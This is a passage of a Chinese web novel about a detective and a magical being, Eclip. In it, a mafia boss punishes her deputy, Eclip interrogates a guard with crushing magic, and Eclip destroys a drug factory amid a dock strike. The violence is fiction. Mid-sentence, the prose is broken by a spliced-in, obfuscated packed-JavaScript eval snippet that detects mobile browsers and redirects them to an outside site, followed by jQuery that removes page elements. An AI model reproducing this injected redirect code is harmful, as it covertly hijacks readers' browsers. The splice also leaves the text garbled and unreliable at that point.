犬山晓绕了一圈回到启明星身后站着,没有人说话也没人敢拦着她,她看着一二三四依旧坐在沙发上,动作都没变过。 “真是精彩,看到这场景也算是不虚此行了。”启明星惊叹道。 “不过好像没什么用就是了。”犬山晓有些不好意思。 一二三四凝视着二人,脸色不好看。 “不,很有用。”启明星看向一二三四,微笑一如既往,“不露怯是首领的常态,鄙人说的对吗?” 现场除了搬动伤员的动静之外没有人说话,一二七担忧地看向一二三四,犬山晓也看向她,六十七号看着那些人被搬出去,自己也有点想离开。 “…侦探的眼光倒是不错。”良久,一二三四开口道,声音一如既往地响亮。 “那是自然的。”启明星大大方方地接受了夸奖。 “最迟明天中午,”一二三四没有再刻意瞪着眼睛,而是若有所思地看向犬山晓,“将吉田川光和账本找到,带过来给我,活的最好,死的也行。” 启明星没有立刻回应,而是隐晦地看了一眼一二七,对方的神色挣扎了起来。之前他说,把目标交给他。 有趣,启明星心想,这人作为二把手这么多年居然起了异心,就是不知道一二三四对着这位小时候曾有过短暂的养育之恩的对象态度如何。 “…首领,家族账本一直是我负责管理,这件事是我的过错,请给我一个将功补过的机会。”一二七低沉着声音请求道。 “将功补过的机会会给你的,但不是这次。”一二三四没有回头,她看着启明星等待答复。 “我…”一二七还有想说的话,但没得到说的机会。 就连犬山晓都能看出来这位家族首领非常讨厌自己被驳逆,刚才她的一番行动恐怕已经让一二三四生气了,言辞间都没有什么废话。 犬山晓知道,一二三四身后跟着的那些人更清楚不过,还留在那的都是些首领身边的亲信了,当然一二七也是亲信之一,此时其它人都不敢说话,眼神透露出想让一二七别再开口了的意图。 “七叔,您何苦如此呢?”一二三四忽然就笑了,并不是嘲讽或者冷笑,她的声音在爽朗的笑意下甚至显得温柔了起来,“家族里的一切都是我负责的,有什么事是我不能做的?” 一二三四就这样笑意盈盈地看了过去,但一二七的脸色却更苍白了,就连那剩下的部分人的脸色也跟着难看了起来。与对待外部人员的不同,一二三四对内施压有另一套做法。 “是不是我的选择让家族得以更进一步的?您是最清楚不过的吧?”一二三四笑着问。 “是的,您…”一二七没能说完,一二三四看向另一个人。 “被前代指定为继承人的人是不是我?明明这么多年过去了为何大家还是不了解我是一个多么值得信任的首领呢?”一二三四笑着问。 “当,当然。”那人说话的声音都在抖。 “那你们是不是该相信我,跟着我的选择走,无论我说什么你们都心甘情愿地照做?”一二三四笑着问另一个人。 “是,是的…”那人刚想说什么,一二七就打断了。 “我不能就这样看着您这样做,”一二七绕到一二三四的面前,单膝下跪,声音非常焦急,“这个家族是我们所有人,不,是前代首领的心血,您不能——” 没人敢说话,也没人敢信这个时候还有人敢说话。 “住嘴。”一二三四没有看一二七请求的样子,她保持微笑冷冷斥责道。 “首领,只有这件事不行,只有这件事求您相信我,事后您将我逐出家族都无所谓,我…”一二七请求的话没有说完,因为一二三四本环抱在胸前的双臂松开,右臂抬起,给了他一拳。 现场一片静默,没有人说话,甚至没有人敢动。犬山晓也一样,她特别想看但又不太敢看,不知为何她明明完全不应该害怕一二三四的,那种紧张的感觉大概也不是恐惧,只是她总觉得自己如果投去哪怕一秒视线,下一个被骂的人就会是她。 这就是□□老大吗?如果可以的话希望这辈子不要有和她说话的机会啊。犬山晓打心底地这样期望道。 一二三四怒视着一二七,那毫无疑问是盛怒,毛发的阴影投射在她张扬的面孔上,年轻没有遮去她愤怒的破坏力丝毫,这是她坐下后第一次有了动作,只是挥舞了一下右手而已,却像是夺去了一个人呼吸的权利。 当然,首领确实有这样的权利,启明星垂下眼睛没有看,心里为自己的老友默哀。 良久,又或者只有几次呼吸的时间,一二三四收敛了自己的情绪,室内的压力终于回到了众人可以自由呼吸的程度。 “见笑了。”一二三四站了起来将手插回西装裤兜里,她嘴角勾起一个刻意为之的弧度,并不是在笑,“启明星侦探,我等你的好消息。” 说罢,她没有理会还单膝跪着的一二七,转身大步离开了,皮鞋踢踏在地砖上,一如来时,剩下的人连忙去追。 过了没一会,一二七叹了口气,站了起来,他朝启明星稍微行礼,红印子还停在他右脸上。启明星也回应着点头,一二七转身拿起一二三四的外套,跟了上去。 室内终于就只剩下了启明星三人,以及一片狼藉。 “结束啦?”六十七号活动了一下身体。 “…感觉她来一趟就是为了把这里一切都搞乱。”犬山晓叹了口气。 “…那位一二三四首领也是个特殊的存在呢。”启明星看着门口开着的门,“她在16岁那年被前代指定为家族继承人,之后身世曝光,她的母亲生下她之后没有和她同居过。而且在16岁之前,她不知道自己的身份,住在家族名下的宅子里,只有一二七偶尔去看她。” “她居然有这样的身世吗?”犬山晓有些意外,一二三四看上去就比克拉拉年轻些。 “犬山小姐有什么感想吗?”启明星笑着问。 “…那为什么她会打一二七先生呢?”犬山晓不理解,“若是我小时候有这样的人陪在身边的话,后来无论如何都会珍惜这样的一个人的,不过是一些反对意见而已。” “您也有的吧,不是人也可以,每个人的成长都有被注视着,但只有人能给予回应。”启明星叹了口气,“不过承受能力强是您珍贵的优点。” “只有人吗。”犬山晓忽然就想起了那永远不言语的月亮,她想起那些时日,又想起后来自己面对月亮时偶尔产生的恐惧和回避,有了些感悟。 这些也是正常人可以理解的吗?犬山晓心里有些安心了。 “那么接下来,就去下一个目的地调查吧。”启明星站了起来。 57.INMATE-003 艾克里普在与众人分开后准备前往东流湾港口,这块区域她并不常去,但也在她的空间移动范围内。虽然启明星侦探所说的双休日还没到,但她决定先去探查一下地区。 但在前往港口前,艾克里普先回了一趟事务所,并前往二楼的空间移动锚点地图,她准备顺便去一趟神脉医院。 当然,神脉医院所在的地区与东流湾港口完全不在一条路上,也就没有顺路一说。但对于艾克里普来说去哪都不过是眨几下眼就能抵达的位置,那在前往最终目的地前的路径上放一个小小的支线并顺手清掉,那就是顺便的事情。 神脉医院在院长被逮捕之后并没有陷入太大的动乱,部分员工被带走调查或被撤职,但很快就有新的员工顶上,就是不知这些新员工,尤其是那位院长,是否知道前任院长下马的真正原因就是了。艾克里普远远地看了一眼正在办公的新院长就离开了,她此行并不为此。 神脉医院附属孤儿院一如既往,红色砖房绿草地,与不远处的医院区域相差巨大。艾克里普隐身后潜入其中确认了一番,那些本被困在地下区域的儿童被安置在孤儿院内的房间,数量上没有差错。 那个人,对了,是叫银杉由卡,艾克里普从记忆中挖出了这个名字。实验室原本所在的位置现在空无一人,不知是准备放弃这片区域了还是准备后期再次利用,但毕竟仪器和素材都被销毁了,只剩下备份的数据,即使想做些什么也得重新再来。 对于艾克里普来说拥有被打倒后也能再次爬起来的人虽然是少见的,但也存在,好在无论多少次她都会毁灭这一切。 但既然银杉由卡不在这里,那还能是在哪里呢?艾克里普觉得既然那些孩童还活着,那银杉由卡应该也还活着,她想了想,前往孤儿院区域顶层的秘密办公室,果不其然,那里有个人。 这处空间不比之前来的时候干净多少,灰尘倒是扫去了,但物品并没有被整理的痕迹,甚至可以说更多更杂乱了,尤其是那办公桌上,书本文件夹纸张混在一起,中间勉强放下了一台电脑。 那人并不是银杉由卡的样貌,但艾克里普不会因此就认错人。 “你怎么在这?”艾克里普现出身影问。 “哦!”银杉由卡不免被吓了一跳,她迅速警惕地看向艾克里普,发现对方是谁之后松了口气,“所有知情人员都死了只有我活着岂不是很显眼,现在我的身份是孤儿院的新负责人,放心吧。” 说完,银杉由卡站起,这处空间内没有窗,空气沉闷,艾克里普并不喜欢这里,准备迅速结束对话后就离开。 “那些实验人员都死了?”艾克里普问。 “知情的都死了,我动手的,不知情的被带走了,现在大概在接受二次洗脑吧。”银杉由卡无所谓地说,她的语气里并没有对自己的作为带有任何情绪化的评价。 一部分人会为杀死同类感到无条件的愧疚,艾克里普知道银杉由卡并不是这其中的一员了。 “如果需要的话我也可以辩解一下我的行为。”银杉由卡说。 “…不用了,那些人不值得同情。”艾克里普说。 银杉由卡看了看艾克里普,将桌上的物品整理了一番之后从杂物底下翻出几叠订在一起的纸递给对方,艾克里普接过,上面是一些类似病历的信息。 “既然你来到这,那么孩子们你应该也都见过了,这里是所有人的身体情况报告。”银杉由卡说着又在桌上翻找了起来。 那些孩子的身体报告显示她们大部分都离健康太远了,身患残疾或特殊疾病的孩子生来就离这条线远一点,再加上营养不良,大多数看上去精神状态也都不太好。 但是都活着,艾克里普点了点头。 “博蒙走了后她的资产交给医院基金会打理,预算上暂时没有问题,问题在于院方的新通告。”银杉由卡说着递给艾克里普一张通知,“院方将减少接收率,也就是说不再无条件接收身患残疾的孤儿了。” 这些通知实际上会在一段时间之后再公开,原因是前代院长死刑带来的社会舆论还没有过去,院方决定等媒体的视线不再聚焦于这里之后再说明情况。 艾克里普想了想,对方接收孤儿本就是在为人体实验准备素材,现在实验被停,素材的积累被叫停也是顺理成章的事吧。 这是只有少数知情人士能了解的,而不知情的人会对此产生什么样的争论艾克里普可以想象,但不太愿意去思考。 “管理好目前这些孩子。”艾克里普点了点头。 “自然,”银杉由卡点了点头,“不过我还有另一个好消息。” “什么?”艾克里普疑惑这人嘴里还能说什么好消息。 “跟我来吧,可能你会想看看。”银杉由卡走向电梯口,转身看向艾克里普,她也没怎么犹豫,跟了上去。 直通地下的电梯前往的目的地艾克里普并不陌生,但原本被关在那里的孩子现在都被安置好了,不知道银杉由卡会带她去看些什么。 电梯运行时二人都没有开口说话,银杉由卡几乎没有情绪表达,但艾克里普认为这样更好,她本就不擅长应对情绪化的人类。 门开了,熟悉的空旷走廊,银杉由卡走在前面,白色的长外套下摆随着步伐晃动。 走廊里没有人存在,也没有声音,直到银杉由卡走到最尽头的一间房间,内部的一处狭小的住所内,艾克里普隐约看见了一个人,那个人蜷缩在床上,几乎没有起伏。 “这是什么?”艾克里普皱眉看向银杉由卡,对方并不意外这个疑问。 “禾草代目,”银杉由卡想了想补充道,“我处理监控的时候看见你的那位黑头发的朋友受伤了,是她动的手。” 银杉由卡的意思很明显了,她本平淡无波的表情在看向那处狭小的空间时产生了些许的变动,一些情绪泄露了出来,是期待,是疑虑,是鄙夷。在艾克里普眼里原本规整的人在这一刻被多种本来被隐藏起来的情绪包围,撕扯,扭曲着变成了她原本的模样。 这就是人类,人类就是这样的,艾克里普心想,没有再去看银杉由卡。 禾草代目没有起伏,但还活着,伤害过她的同伴的人没有被同情的资格,艾克里普没有犹豫。 “闭上眼。”艾克里普说。 银杉由卡知道这是在和自己说话,她没有犹豫就转过身去了。 漆黑的世界里,没有声音发出,大概过去了两三秒之后,艾克里普说话了。 “我之后再来。” 说完,银杉由卡转过身,但那里已经没有人了,狭小的空间内也不再有人影。 艾克里普从地下回到事务所,随即转移到东流湾附近。这处水湾来自东部的海洋,流经这里之后从中心湖运河一路抵达中心湖。途径多处小型泊船处和帆船停靠点,也架设了鱼梯,但最为显眼的还是那从这里往远处看层层叠叠的桥。 靠着河岸,各种各样的摊贩可以说是琳琅满目,也有各种公寓和办公室,总而言之,这是一处长长的人类聚集地,一直到东流湾港口才算结束。 东流湾港口有多个港区,在离岸不远处还设立了深水港,港口在几个世纪之前就已经建成并投入使用,无论何时都永远处于无比繁忙的运行中,工人随处可见,艾克里普远远看去各色集装箱和架子让这里看上去像是没有图案的拼图。 艾克里普停在一处红色大型货柜上,心想虽然启明星侦探说了要阻止那个姓天不渡的人从港口离开,但这里无论是集装箱还是船都太多了,每一处空间都有可能藏人,这里信息繁杂,若是那个人不挑环境只是随便找个地方藏起来的话那真的很难被找到。 即使是挑环境,这里的各种大型豪华邮轮也很多吧,艾克里普忽然想起来启明星侦探说过那人是一个非常自我主义的老头,这样的人于情于理都会尽可能地选择一个环境优良的交通方式。 对于艾克里普来说大海捞针并非不可能,但她需要一些东西,例如一张照片,一些血液,或者其它带有个人气息的东西。但启明星并没有提供给她任何,只是说了句“这个人大概会从港口游轮离开”就将任务交给她们了。 “启明星侦探真是会难为人呢。”艾克里普这样说着,但也并没有叹气,这还不到需要她叹气的阶段。让那个人逃走就意味着让Evo里的那个幕后黑手留下卷土重来的机会,艾克里普并不想看到这样的事情发生。 但是,艾克里普心想,她是这样想的,可启明星侦探又是为了什么理由如此想要这个人的命呢? 这并不是意味着艾克里普在怀疑启明星,或者说对其的行为感到反感,她在这样思考时,是真心实意地想要了解为何一个孩子会如此迫切地想要了结一个贩毒的□□首领。 艾克里普一直将启明星视作为一个孩子,不仅仅是因为对方的外表,也因为她本身就是一个儿童,从骨骼,身体结构,到正常人难以明说的灵魂,亦或者说个人特征,都属于一个孩子。 这也是艾克里普愿意与启明星正面交谈的原因,大多数孩子都拥有一个纯洁的思想,这种纯洁的反义词是繁杂而不是邪恶,邪恶是人定义的,但繁杂或纯洁是艾克里普一眼就能看出来的,就像她本质并不是人类一样,她眼里的人类也并不是人类想让别人看到的自己的模样。 银杉由卡就是典型的繁杂的成人,她将真正的自我层层叠叠包裹,显露出来的只是她想让别人看到的。但这样的伪装对艾克里普来说是拙劣的,她只是稍稍为之瞩目,那侵染在人间多年后畸形生长的人类根性就会跳出来污染她的视线里。 启明星或许会说谎或者隐瞒,但她并不复杂,她所表现出来的就是她真正的自己,这一点艾克里普看得一清二楚,哪怕她已经以这幅模样活了二十多年,插手□□纷争,甚至自顾自包庇实验体,但她本质上依旧是个孩子。 所以艾克里普认为启明星想要了结一个人性命的理由一定不是复杂的,只是出于某些原因她不愿意说,或者说还不能说而已。 艾克里普选择宽容地包容她,就像是包容一只鸟。 这个问题到了最后就会得到答案吧,艾克里普心想,启明星侦探一定会像是揭晓真相一样介绍自己的原因,就像她之前做的那样。即使这对她而言并不重要,但她会听的,就像是听一只不具备语言系统的鸟儿鸣叫。 那么先把这件事放到一边,艾克里普寻找到了游轮上客区的休息室,资讯站也在这里,此时这里的人并不多,大概是因为不久前刚有一艘停靠于此的游轮离开。 但即使是这样,码头附近的工人们是很好的情报来源,艾克里普找了个角落开始捕捉一些有用的对话,今天的时间还很长,若是能提前得到一些情报那她也不算白跑一趟。 声波的反射为艾克里普带回了一些画面和声音信息。 “明天就是时候了,你记得别跟在前面,别走太快。”一个有些驼背的年轻人这样说,声音很低,她与之对话的是个中年男人,那人正在戴不太合适的手套,什么也没有说。 “你真的觉得她们会听我们的吗?”一个坐着吃东西的青年说,他的背心很脏,与之对话的人似乎在翻看什么东西。 “我,我也不知道,会的话就好了。”那个人这样说着,合上了手里的记事本,上面记录着一些金额,标注着胰岛素的名字。 两个带着工帽的堆高机技师一边干活一边聊着没什么用的东西,其中部分对话透露出了信息。 “那些本来不就是垃圾吗?”站在台子上的人说。 “本来就是,要扔掉的东西不就是垃圾,而且这件事内部解决的话就不会有明天的事了。”正在抽烟的人说,“明天你去吗?” “去,我们都去。”另一人说,“那些送东西的也会去。” “她们?”抽烟的人语气有些意外,“她们不是这里的吧。” “报警让整片区域的人都被罚了,不是这里是哪里?工会又不会给我们发钱,我们都是自愿的。” “…也是。”那人的烟只剩个头了也没丢,“而且无人化改革在哪个行业都有发生。” 顺着这些话再次探查,艾克里普发现了更多的信息。 明天凌晨开始,港口劳动联合会计划了一次罢工,涉及整个城市的所有港口,同时部分交通运输业的工人也会参与进来。事情的起因是港口工业区的大面积无人化改革,自动化代替人工的趋势让很多人市区了工作。 根据以往的信息来看,艾克里普认为工人们的要求应该会是涨薪并缩短工时,这个要求已经提了很多次,但资方一直视而不见。 选择在明天爆发抗议罢工的导火索却是与之不太相关的另一件事。东流湾港口工业园区最南边是垃圾焚烧厂,不仅接受工业园区的垃圾处理与运输,还负责环保作业,外表看上去像个办公楼。 大概前天,一个监察员在巡逻时发现了一个巨大的垃圾袋,里面是大量的皮质包,这个人报了警,部分负责人和工人被带走盘问后坦白是工人偷走本该被销毁的瑕疵品准备私下贩卖。 总之工厂管理人和工人之间产生了一些矛盾,这件事牵扯本来不大,但正好就撞上了这里的工会负责人,讨论之后一次罢工就这么策划起来了。 “…所以这就是启明星侦探说的,唯一的机会。”艾克里普了然,这48小时内港口码头区会处于混乱之中,大部分服务中断,无论是货船还是游轮都难以在这48小时内正常运转。 但混乱即是阻碍也可以是掩护,就看如何利用了,或许罢工运动的发起人也想不到这48小时内会有这么一个急需服务的客户吧。 无论是资方还是工人们都有自己的不容易呢,艾克里普这样想着,觉得已经没什么内容可以发掘了,同时这场罢工运动的结果如何与她要做的事情关系不大。 之前启明星谈及,天不渡家族有在港区工业园建立制作Rp延伸化学产物作为商品的工厂,艾克里普想要找出这些工厂并销毁其中器械。 化工厂区就在垃圾焚烧厂北边不远处,有多个园区,标记为C-7湾港工业群,其中标注化学工业区的D1区块安全级别是黄色,上面还有橙色和红色,下方是蓝色和绿色。艾克里普目光一凝,发现这个区块离半开放工业外包区,也就是经常有学生来实习的区域很近。 艾克里普一路隐身往目的地,在不知道真正目标位置的情况下她决定先全都看一遍,在魔法加持下不会有能阻挡她动作的存在。 化工厂维修区,有人在工具箱上坐着聊天,艾克里普经过听见了谈话。 “诶,你刚才说那些灰桶里装的不是催化渣?那是啥?”年轻人好奇地问道,他的动作迟钝畏缩,但嘴停不下来。 “是啥都不能碰,你是没见过当年泄露,装卸的小工耳朵给烤了,赔了两百多个,最后不知道花不花的掉。”抽着烟的人声音冷嘲热讽。 “可是,”年轻人抿了抿嘴,声音犹豫带着一些期待,“可是我昨天看见个穿西装的,你说明天这件事…” “那人我知道,来了很多次了。”抽烟的人声音冷漠,她说了这些后没有谈更多的东西。 “哎这个我知道,”另一个人擦着汗走过来加入谈话,“说是合同改了,补贴少了,还要裁员呢。” 这人说的大概和前面两个人说的不是一件事,但另外两个也顺势加入了她的话题。 “诶你说她们是不是疯了,现在闹罢工?”抽烟的人冷笑着说,“现在出头的都保不住工作,赌不赌?” “可,可那些事情又不是我们的错。”年轻人语气哀怨,“我们没做什么,工资本来就低,上次隔壁区的那个人大白天倒了,半个小时后才有上面的人来看。” “可不是,我之前也是,腿伤了也没个准信。”擦汗的人说。 艾克里普没再继续听,她经过三人时回头看了一眼。 白日下的阴影尤其地黑,工具箱上坐着的年轻人是那样迫不及待地想要知道新的消息,以至于他的眼珠都因那急迫而探出眼眶,脖子长长地伸着,但身体却因为畏惧责任感而缩着,卷着,恨不得将自己藏在壳里,如蜗牛般匍匐着。 那抽烟的工人将烟头踩在地上,踩下的力气带着只有自己知道的恼怒,她的脑袋像是安康鱼吊在嘴前的诱饵那样高,肺腑里探出漆黑但软弱的憎恨,张牙舞爪却不敢在白日下伤人,她的傲慢与忌惮揉杂着,哪怕猎物上钩了也没力气去吞吃。 擦汗的毛巾已经发黑了,但那人却没有放下,哪怕她的头上已经没有液体存在了,妄想中的汗液一滴滴落在地上,在阴影中聚集成小型沼泽,对自我的无底线怜惜与对肯定的渴求让她在伤好了多年后依旧缠着绷带,一层层的布料下本完好的肉逐渐腐烂。 这就是人类的根性,若是用人的眼睛去看那就会看见皮肉,毛发和衣着吧。但艾克里普并没有一双人类的眼睛,她的眼球不具备成象或感光的作用,也不存在眼睑、结膜、泪器、眼肌及眼眶内筋膜和脂肪,需要时再说。人类看向她,她的表面存在什么,那就是她拥有的全部了。 她使用魔力接收外界信息并处理,原理类似声波,只是出于自身意愿,她的探查范围通常止步于人类可抵达的正常范围。 而她的内在人类是看不见的,但如果她愿意的话,观测者也能看见该看见的东西。 艾克里普看得到人类的根性,或者说本质,真我,本我,灵魄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807990|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?成人的根性带有太多的人为装饰品,例如有意识地隐藏欲望,压抑创伤,用角色化的自我应对生活,这样的存在对艾克里普而言就像是人类眼里的奇美拉。 即使是害怕,艾克里普也会接受这样的人类,因为她才是保护者,保护者不应该去害怕被保护者吧?更何况这个世界上不会有以她的视角看世界的存在了,要责怪谁以己度人的话那也得先看对象是不是人类吧? 所以魔法少女的存在对于艾克里普而言才是珍贵的,她们与她一样是独立于人类之外的,是不会改变的,是拥有同样的使命的。 这样想着,艾克里普脚步轻快了些。 化工厂建筑群内的工厂们结构都差不多,但找到目标并不难,艾克里普看着部分器械上属于Evo的商标,回想起启明星曾说过Evo的前任管理者科勒斯特也是靠化工厂起家,后来才转为专攻生物基因工程的。 想必这里的大部分员工也和实验室里那些外部实验人员一样,对内容并不知情。 化工厂内工人到处都是,现在显然不是一个动手的好时候,她想了想,开始在工程内寻找类似值勤表的东西。 保安室里有张贴着员工执勤时刻表,艾克里普看了看,发现除了保安室24小时开着以外,工厂内即使是半夜也有定时巡逻,如果需要动手处理器械和化合物的话就得避开人,不管是视线还是人身安全。 不知道这里的人会不会参与明天的罢工呢?艾克里普有些在意,便停在保安室的角落收集信息。 “换班,辛苦了。”保安室里来了新的员工,原本坐在监控前的那个人站起来拉伸了一下胳膊,她早就收拾好东西了。 “辛苦。”那人说着就准备离开了。 “诶,咱们明天要来不?”坐下的人开口问道。 “你想什么呢,”要走的人不耐烦地说,“没了这工作我下个月就得饿死,你自己想清楚吧。”说完就离开了。 “饿死”两个字大概是夸张化,但艾克里普看得出来对方并没有在态度上撒谎。 那个人是真的需要这个工作,就和这个工业区的大多数工人一样。 “…说得好像谁就不是一样。”坐下的人不屑地嘟囔着。 看来得另寻它法了,艾克里普想着,又忍不住开始思考一些别的东西。 例如,她在做的事情真的是在保护这座城市吗?这样的东西。 要做对的事情吗?应该牺牲一定利益去摧毁恶的存在吗? 应该衡量行为带来的最大幸福吗?维持现状是更好的选择吗? 做对的事情也会沾染罪恶吗?沾上伤害弱者的罪是不得不承受的痛苦吗? 并非出自邪念,而是不得不服从的恶也是恶吗?平庸而顺从的人该责问吗? 这样做之后那些人的困境也是我该去承担的吗?这是我的作为带来的困境吗? 我不得不做出选择吗? 艾克里普忽然就感受到了空前的迷茫,她以往从未面对过这种矛盾,以前一切都很简单的,魔物出现了的话就消灭,有人利用魔力的话也消灭就好,现在她面对的选择也是类似的吧,化工厂使用的原料含有魔力,那她要做要想的事情也就非常简单才对。 也就是“达到目标”需要的方法,而不是后果,她从不考虑后果,因为那不是她需要考虑的。 到底是有什么不同呢?艾克里普思索着,就好像若是没有一个合适的答案提供给她,她就做不到继续下去,可是,为什么? 她就这样站在原地,再次陷入了自己与自己无休止的争论。 不同的到底是什么?明明一切都是一样的吧,之前处理实验室就很简单不是吗?为什么这次就出现了问题呢? 我,不应该为这些后果负责的吧?我为什么要为工人的职业问题考虑? 你是这座城市的“守护者”吧?阿尔卡纳的戒律浮现了出来,提醒她不该使用对城市不利的手法去达成目的。 可是,可是我不这样做的话,这里的一切就会继续伤害这座城市,这只是简单的取舍而已,人不都是这样的吗?在这之后她们依旧会想办法活下去的。 人是这样的,可你是人类吗?艾克里普,你做不到吗?你又要失责了吗? 不是的,之前我已经做到过很多次了,我只是不知道这次为什么不一样,有哪里不一样了,人类为何如此脆弱呢?我明明只是在做正确的事情而已,我是在守护这座城市不是吗? 哪里不一样呢?到底是哪里不一样呢?快想出来吧,想出来就好了,那个致命的分差点在哪里,那个让你如此痛苦的轨道分叉点在哪里?是什么促使你去选择,是什么强迫你成为了审判者?你不该是这样的吧,你不过是一个保护者而已吧。 我。 保安室的椅子摇动着,因溢出的魔力开始颤抖,坐在椅子上的人不适地扭了扭脖子。 “…要不是这里的工资高,谁会来这种地方工作啊。”那人语气不屑地自说自话,“要是能早点升职就好了,无论是贩卖的还是包装的都比这值钱,这玩意真赚钱啊。” “…你说什么?” “谁?什么?!”那人被从背后传来的声音吓了一大跳,刚想站起来环顾四周,就被从背后出现的巨大压力压倒在地,脸朝下的那种。 “…你说的,是rp衍生物,对吗?”艾克里普问。 “什么?我不知道,你是谁?!”那人惊恐交加,根本没有思考的余地。 艾克里普想了想。 “你说的‘这玩意’是指毒品,对吗?”艾克里普问,“这个工厂里的人都知道制品是什么,并在知情的情况下在这里工作,对吗?” 那人身体不可控制地颤抖了起来,艾克里普看不见他的脸,但那互相缠绕的丑陋本我从他本仔细包装好的角色中洋溢,膨胀,肥大,直到整个暴露出来覆盖在表面上。 “我,我们,你是警察?”那人颤抖着想转头,却怎么都动不了。 “…回答我的问题。”艾克里普厌恶而急迫地追问,她施加了魔力,那人的器官几乎要压上骨骼了。 “我们只是想挣钱吃饭!”那人承受不住这种异常的痛苦,叫喊出声,“你以为我们是唯一这样做的?我们——” 接下来的艾克里普没有去听了,她得到了答案,也终于找到了出错的那一点到底是什么,并惊喜地发现错误被修复了。 是正确性啊。 因为犯错而愧疚过的孩子,大多知道正确性是多么令人上瘾的存在吧。 谁都犯过错吧,没错,谁都犯过错。打碎花瓶也好,不小心弄脏衣服也好,不小心惹到别的孩子让她们哭泣也好。谁都不知所措,小心翼翼,害怕惩罚过吧。 有的时候会有这样的安慰:“没关系的。”但这个是不会有用的吧,有关系的,花瓶的价值昂贵,衣服得拜托有力气的护工洗,别的孩子哭了会有她们的家长前来责问,错误与责任之间的关系。 但这时,若是有正确性出现,那一切都不一样了。 花瓶实际上是假货,打碎了才发现赝品的痕迹,衣服被弄脏本就是护工的错,她忘记摁住伤口让血迹沾上了白衣服,是别的孩子先动手的,有人看见了。 不需要多余的装饰物,不需要多余的解释,正确如此纯白无辜,如此美丽。 同理,若是处理化工厂会让工人失业,但若是工人们本身就有错呢?这些人在明知化工厂在制作毒品的情况下还依旧为了高薪而选择避而不谈并参与其中,但不对其后果负责也是很正常的事情吧? 没错,这样就好,这样就够了,这样的话最后无论如何,她的任务都算是完成了,因为她已经尽力了。 对吧?艾克里普问道,当然,她知道自己不会得到回答。 那人察觉到本来压在自己身上的未知力量一瞬间就消失了,他过了好一会才心惊胆战地缓慢爬起来,下一瞬间,火警响了。 刺耳的警铃本身就是为了让人感到不适而设计的,尖刺般的声音划破工厂的空间,每一处区域的工人在吓了一跳之后就迅速放下了手里的工作,有的开始往外跑,有的慢悠悠地走着。 艾克里普的魔力蔓延到整个化工厂的每个角落,她看到大部分人都离开之后就开始销毁器械和素材,所有东西都飞快地化为黑灰,一点一点地消失,直到什么都不剩下,就像是时间倒带,一切都即将回到最开始的时候。 黑灰卷曲,像是火焰,放这把火的艾克里普站在最里面等待一切结束。 她的内心并没有如完成那样的平静,反而依旧对于什么耿耿于怀着,她不知道那到底是什么,但看着眼前的一切,又深信这一定不重要。 58.INMATE-004 艾克里普忽然就做了个梦。 这里或许存在一些狭义产生的误解,通常做梦是指人在睡眠中,大脑皮层部分活跃产生的感知现象。有时在清醒状态下,意识暂时脱离现实的想象也是梦境的一种,也就是白日梦,也被称为冥想或者催眠状态。 于是不需要睡眠的存在也可以做梦,也会做梦的。她有意识地让自己的思绪被放飞,这通常发生于她需要处理大量情感问题的前后,亦或者对某些问题产生了大量的疑问,需要通过这样深层次的反思去理解,或者处理记忆。 在这样的情况下,艾克里普通常会在做梦之前思考意义,就像是她处理化工厂之前会考虑自己行为的意义和带来的后果一样。 梦的意义对于人类,和艾克里普来说,是不一样的,这既是因为二者为不同的物种,又是因为梦对于二者来说作用是不同的。 不过最近对于“物种”这个概念的强调似乎是变多了不少啊,艾克里普心想。 人做梦大多数情况下是被动的,所以人解释梦境的含义,并延伸出各种说法去解释精神,或者说根性。例如经典的尿床的人喜欢玩火,这是攻击性被压抑后以某种方式在梦中出现了。也有人认为梦境是自我与某种深层次原型的对话。 现代认知心理学认为梦是记忆整合的过程,艾克里普第一次理解到这一概念时惊觉竟有人类能与她感同身受,但很快她就发现这不过是一种形式上的解说,本质是不同的。 艾克里普做梦是主动的,她将表面无法解决的问题拉扯着潜入水中,去到魔力无法探查到的地方,在没有魔法干涉的情景下思考。通常这样的问题都是对她而言非常重要的,不得不解决的,例如那多次自己与自己的争吵,都是她做梦的体现。 而在做梦时无法很好地控制好身体是常见的,人类在睡眠时通常会抛下□□,艾克里普没有□□,她便抛下那一层外壳的控制权,那层外壳便自发地按照她的心思行动,攻击这个世界。 是的,艾克里普内心并不喜欢这个世界,毕竟在这个世界上,属于她这个物种的只有她这么一个,稀有到可以以她的名字来命名整个族群了。 孤单是基础素材,她还需要一个动机,这几乎无处不在,她只要睁开眼看世界那动机简直就是随处可见的。 那为何艾克里普并没有选择破坏世界,甚至像个保护者那样保护这座城市呢?答案写在她的人物设定里,艾克里普被阿尔卡纳的国王带到这个世界中来,给予她魔力与戒律。 于是,若是艾克里普不去守护这座城市,不成为一个守护者,那她活着的意义便并不存在了。她或许会彻底迷失在这个世界上,直到某天这具躯壳走到尽头,最终消散,才能回到阿尔卡纳王国,比起这样,她更希望自己圆满完成任务,开开心心地回去。 但是开心也是属于人类的情绪吧,为何艾克里普会有这样的感情需求呢? 艾克里普不知道,她有意识的那一刻,就站在人群之中,就能看到人类的根性,也感受到人类的喜怒哀乐了。但是她依旧花了很长一段时间去观察人类,才确认了一件事:虽然完全不同,但她拥有的那些感情就是人类所产生的感情。 这太奇怪了,艾克里普心想,为何她明明并不是人类,却有人类的语言系统,能理解人类的感情呢?她甚至因此产生了对感情的需求,从而选择尝试与人类交流。 明明比起这些,找一个深山老林藏起来,只在需要时出现解决问题就好了,这样既不需要担心人类出现吓到自己,也不需要考虑任何可能出现的不确定因素不是吗? 但是对感情的需求让艾克里普感到疑惑的同时也产生了一些想法,她或许就是需要与人类产生交流的,这样的话她那些与人类相似的地方才存在得有意义。 哪怕无法认同人类社会,无法认可人类对自我的塑造,总之先试试吧,实在不行就再重新躲起来,毕竟人类的一辈子对她而言不过是几株植物生长又死去的时间而已。 但就是这样的一次尝试,让她遇到了其它的魔法少女。 